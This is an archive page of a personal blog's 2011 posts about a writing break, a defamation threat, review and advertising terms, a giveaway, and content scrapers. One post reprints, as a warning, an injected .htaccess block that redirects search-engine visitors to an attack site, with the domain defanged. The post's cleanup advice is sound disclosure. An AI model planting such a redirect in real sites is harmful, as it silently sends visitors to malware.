Dec 192011
 

It’s gratifying that so many of you have emailed, Facebooked or tweeted to ask if I’m alright and not, for instance, in traction after being hit by a train or trapped under something heavy — but really, truly, I’m fine. Apparently I needed a bit of a break. I can’t tell you how lovely it’s felt to step away from the everyday grind of writing for a while, and after six-plus years of doing so I don’t feel the least bit compelled to apologize.

If history is any indication, this period of unexamined brainlessness will end in relatively short order. Soon enough I’ll have things to share, but for now I’ll simply point to my Twitter where I continue to chatter in 140-character bites. If you don’t use Twitter you can find my tweets and more on Facebook. I wish you the happiest of holiday seasons and again, thank you for checking up on me.

Nov 232011
 

Having not written here for over a week I gotta say how undeniably splendid not-writing-here feels. I know this makes me a bad blogger as well as a loathsome human being. I’m not sure that I care.

Right now my brain feels all private and self-contained, and while I’m absolutely certain that soon enough I’ll be back in 100% overshare mode, for now I’m just going to continue being quiet except to wish my USian readers a lovely Thanksgiving.

Nov 142011
 

So last week someone got upset and threatened to sue me for defamation of character. After an hour of hand-wringing, during which my emotions ranged from extreme annoyance to abject terror, I contacted my very own legal counsel, who happens to be wise in the ways of the ‘net as he is also a blogger.

With his permission I am republishing a part of his advice, which you might also find to be helpful:

That’s a fake lawyer threat if I ever saw one.  Anybody who thinks “Legal Counsel” needs capital letters, doesn’t have a lawyer, much less a lawyer on retainer.  Second of all, the truth is an absolute defense in all charges of defamation.  That wouldn’t stop a nutcase from suing you (nothing can stop that) but it should stop any lawyer from doing more than blustering, as long as you don’t say anything about [person] that’s untrue — which you haven’t and won’t.

[Person] writes like a desperate failing sex toy white label owner who has no *clue* why ze’s not making money the way the fast-talking franchise salesman said ze would, so the universe is punishing hir stupidity far worse than you ever could.  Third, since you didn’t identify the store in the tweet, there’s utterly no grounds for concern based on what you’ve said so far.

If you haven’t already responded to hir about the ad space refund, I’d refuse that too. All of my ad sales are for blocks of time that are prepaid; the advertiser is free to put up whatever image I’ll approve. But I don’t refund because they are unhappy with the traffic or the conversions or my body odor or that I didn’t fellate them as vigorously as expected.  Or, to date, for any other reason whatsoever.  At my house and I expect at yours, that money was long ago spent on tomatoes or tangerines or toilet paper; and you’ve done nothing wrong that ze should demand it back.  I’d refuse the refund, as politely as I could manage, which would be not very:

Dear [Person]–

I’m sorry you no longer wish to do business with me.  Given your unreasonable expectations with regard to web traffic and review-writing, I’m content with your decision to terminate our business relationship.

However, all advertising sales are prepaid in advance for a set period of time, final, and non-refundable.  If you choose not to run advertising for the complete term you paid for, that’s your prerogative.  In that case, please confirm that you would like the ad removed.  Alternatively, I’m just as happy to continue running your existing ad until the paid-for period is done.  Just let me know.

Thanks for the advice, lawyer-blogger friend. I owe you at least a full crate of clementines for the help and commiseration. And for making me laugh, which I desperately needed after this ridonkulous little episode.

To my blogger friends who are accepting toys for review and/or allowing ads on your websites: If you haven’t already taken the time to write up some terms and conditions for these services, what’s stopping you? Please allow my experience be an example of what can happen when you’re not beyond abundantly clear about your expectations.

I’d love to know what you come up with. Post a link below or email me, okay?

Nov 112011
 

“You desire to know the art of living, my friend?
It is contained in one phrase: make use of suffering.”
– Henri Frederic Amiel

A person with less of a philosophical bent (or one less effectively medicated) might tend to see the events of the past week as cause for tears to be shed into the evening’s glass of wine, or tooth-gnashing, or hand-wringing, or fist-shaking toward the silent, pitiless heavens. But in this eleventh month of two-thousand-eleven, a time that finds me in terms of work, family, finance and fuckery almost shockingly content, I perceive this misfortune as nothing more than the barely audible whinge of the universe’s tiniest midge, ineffectually circling my head before scurrying off to try, with what I hope is the same degree of success, to make someone else’s life miserable.

My goal, once past the first stunned shock of moral outrage, is to transmogrify suffering into art; to make my own small tragedies and minor tempests into something useful — even beautiful — for myself and others. This little episode therefore becomes the impetus to perform some tasks that I should have completed months and months if not years and years ago. I will start small, with this brief group of statements to be produced when advertising dollars, website creation fees, or items for review change hands, and which by all rights I should have codified when the very first offer to be gifted with some delightful piece of sexual equipage wafted into my email box:

Want to send me something? Awesome. Here’s some information you might find useful:

Items sent to me become my property forever. I will neither return the item1, pay for it, nor provide reimbursement in any other way.

My acceptance of a product in no way guarantees that I will write a positive review or in fact any review at all. I may write a post with many words about the product or only a few. I may include an image or not. Please understand that if I choose not to write about a product, it is probably because what I would write would be so unflattering that it is to everyone’s best interests that I say nothing at all.

Advertising on my website is pre-paid, final, and non-refundable for any reason, including but not limited to an advertiser’s perception of the amount of clicks and/or sales the ad in question generated. In no case shall my positive, negative, neutral, delayed or incomplete review affect in any way a previously negotiated advertising arrangement.

I reserve the right to publish via website, Twitter and/or Facebook part or all of emails sent to me that verge upon an abusive, ridiculous, nonsensical or illogical nature. If a missive contains multitudinous spelling and grammatical errors, crude references to sexual behavior, uninvited images of genitalia, threats to consult a Legal Counsel on retainer or to sue for Defamation of Character, please expect to see that correspondence mocked and derided electronically and (possibly) physically set aflame in my own personal backyard.

Perhaps you can extrapolate some of the events which have lead to the creation of this document?

Do you have terms and conditions for receiving toys for review purposes? What am I missing from mine? Suggestions and expressions of commiseration are welcome in the comments below.

  1. Yes this has been asked of me. Yes it was gross. []
 

In the mists of time when humankind was still thudding around on square wheels, I kept a paper journal. In fact I kept piles of paper journals, all written in cheap spiral-bound notebooks with a variety of ink colors that would make a pre-teen swoon. My pattern was to write obsessively and multiple times per day for months and even years at a time. If you could have graphed the number of words I wrote as a function of my internal angst, you would have seen a direct correlation to the point that during times of extreme upset I’d spend hours a day hunched over the paper trying to sort it all out.

Whether I even once succeeded is a matter for determination by better brains than mine; however, there can be no question if over the past six years I’ve been angsty. I have been. I was. The end of a marriage, the unexpected arrival of a newborn, a divorce, lots of sex, lots of dating, even more sex, a painful breakup, mental illness and its attendant medication struggles — who wouldn’t have been in a whirlwind of emotions? And that’s not even counting the everyday vicissitudes of raising children, working more than full-time and trying to maintain some scant level of personal bodily hygiene.

But over the last twelve months, and especially in the most recent six, I’ve felt more stable than I have in pretty much forever. Work is good. The children are happy. Medicine is1 fixing what’s wrong with my brain. And difficult relationships have been crowded out by ones in which I am sent love notes, asked after when sick, and brought olives, ice cream and wine on a Saturday night. I am surrounded online and off with friends who want me to succeed, and who moreover believe that I am actually already succeeding.

It is awfully nice. I’m enjoying it very much. And as was the case when my words went onto paper instead of a keyboard, the happier I am the less need I feel to dump out tens of thousands of letters on a weekly basis. This is all my very long-winded way of saying that the blistering schedule of posting five times a week that I’ve maintained for ages — and which was preceded by the even more blistering schedule of posting six, and seven, and almost-twice-a-day — will probably not continue. I cannot be upset about this for who in our little niche of sex-positive perverts has written so long, so much, so personally? There aren’t many others, and I can’t be unhappy that I’m in a position where I feel good enough about life that I don’t need so much of an outlet as once I did. I’m aiming for a couple-three times a week, and if I fail at even that far less demanding task because I am too happy, you will surely forgive me.

Right?

  1. for now []
Sep 282011
 

Six years ago today I put aside decades of paper journals for one of a more electronic form. Since then, on this site and my previous Blogger site, I’ve produced somewhere in the neighborhood of 2,500 posts which have garnered more than 23,000 comments. I’ve tweeted 19,014 times. And I’ve received well over six million page views. To say I’ve been busy is just a wee tiny bit of an understatement.

To commemorate this auspicious occasion my friend Garnet of MyPleasure has given me six — Six! One for each year! — Wahl vibrators to distribute as I see fit. Here’s how I see fit:

Check out the different ways MyPleasure interacts with the community: Twitter, Facebook, Newsletter and Tumblr. Leave a comment on this post letting me know how you followed them, and wishing me the happiest of blogiversaries. I’ll select winners from among those who comment. Simple! The contest closes on Monday, October 3rd at 12:01am. If you are one of the six selected you will need to be willing to share your US shipping address with MyPleasure.

I am so appreciative of the ways that writing this blog has enriched my life: the friends I’ve made, the knowledge I’ve gathered, the opportunities for travel and speaking, the wisdom you’ve shared. You have made my life better. You have made me a better person.

Thank you.

 

 

 

Sep 152011
 

To keep me from growing too hubristic the universe, far more frequently than I’d desire, throws into my path obstacles so extreme in their fiddly-ness that I weep with frustration and shake my tiny fist to the heavens. I really do. The neighbors think I’m a loony.

The thing keeping me humble today is Widget Logic. Go ahead, read the description. “That’s easy,” you’re probably saying. “A Springbok antelope, were it suddenly to acquire thumbs, could manage that!” And maybe you’d be right! Maybe there is some small thing I’m missing which would reduce the hideous complexity of this puzzle to such simplicity that I’d be through the issue and onto something a tiny bit less challenging, like buttsex. Or rewriting the tax code.

Offer up a small prayer for the quick dispatch of this conundrum, ok?

Sep 142011
 

You may have noticed an issue with this site late Monday night through Tuesday morning. After I’d gone to bed1, an Internet Monster snuck in and added some redonkulous information which, if you landed here through a search engine, would have taken you to a URL containing the title of this post.

Apparently I’m not the only one’s who has had this issue. Wondering if your site has this problem? Log on to your host and have a look at your htaccess file:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci dot com/in.php?g=431 [R,L] 2
</IfModule>

This redirects visitors who arrive via search engine to the sokoloperkovuskeci site, which is classified by Google as an attack site.

Here’s the thing: Someone who types your URL into a browser’s address bar won’t see the redirect. It will only happen for people who try to get to your site through a search or bookmark. If you don’t want to go mucking about in htaccess files you can search for your site on Google, click the link, and see what happens.

Let’s hope nothing untoward?

My issue is fixed but this is a good time for a reminder: Take a moment to change your passwords. Make sure you’re using the most recent WordPress. Check your plugins for updates. Ask if you’ve got questions.

  1. naturally []
  2. I deliberately broke the link []
 

Random facts about the owner of Scandal Shack dot com:

  • He changes his underpants a single time each month, by sitting in the tub ’til they dissolve.
  • Once he tried to take an online IQ test but time ran out before he could locate the “next” button.
  • For three weeks he had a girlfriend. And then the batteries died.
  • After the incident with the hawkmoth his barber refuses to see him again.
  • If not for the free cable his mother would never visit.
  • His cat can’t stand his touch.
  • He believes that his state of residence is Tupelo.
  • The zoo kicked him out for flinging poo at the monkeys.
  • He challenged Ed Begley Jr. to a duel but ran away when Ed pulled out his greatsword.
  • The doctor won’t make an appointment (the ringworm’s acting up) for him because she’s afraid he’ll eat all the KY Jelly again.
  • He had to repeat third grade reading twice. When he was a sophomore.
  • The Tea Party took his membership fees and then decided he was too dumb to join.

and finally:

  • After receiving 47 phone calls from a debt collector he turned to Google for advice on how to block someone; his misspelling of the word “block” lead to the creation of this very site.

Are all these facts true? MUST BE, since they’re published on Scandal Shack dot com, and who would possibly publish work on his own site unless he himself had written it?

 

It is a truth universally acknowledged,
that a single blogger in possession of a good website,
must be in want of a scraper.

If you write about sex or post homegrown sexytime photos, you really need to pay a visit to Sc@ndal Sha@ck .com/x1 They’re doing some large-scale scraping; in fact I think their content right now consists entirely of pieces written by others and ads, omg the ads.

Mina wrote about her delightful experiences in trying to get them to remove her content here, and Coy Pink emailed to let me know that they were scraping my content as well. I spent an enjoyable2 morning sorting through their site steaming dung heap and then reporting them to the appropriate authorities.

If you find your content used illegally on Sc@ndal Sh@ack (or any other site), you will need to contact the site owner, who has oh-so-thoughtfully provided a link at the bottom of each page for this very reason.3 You should also send along a note to the site’s hosting provider, who may, if enough such reports are made, eventually shut them down.

Any good tips on how best to deal with content scraping? Please share in the comments below.

 

  1. Not linked for obvious reasons; replace the symbols. []
  2. !!!! []
  3. Huh. Wonder how many of these claims he fields a day? []

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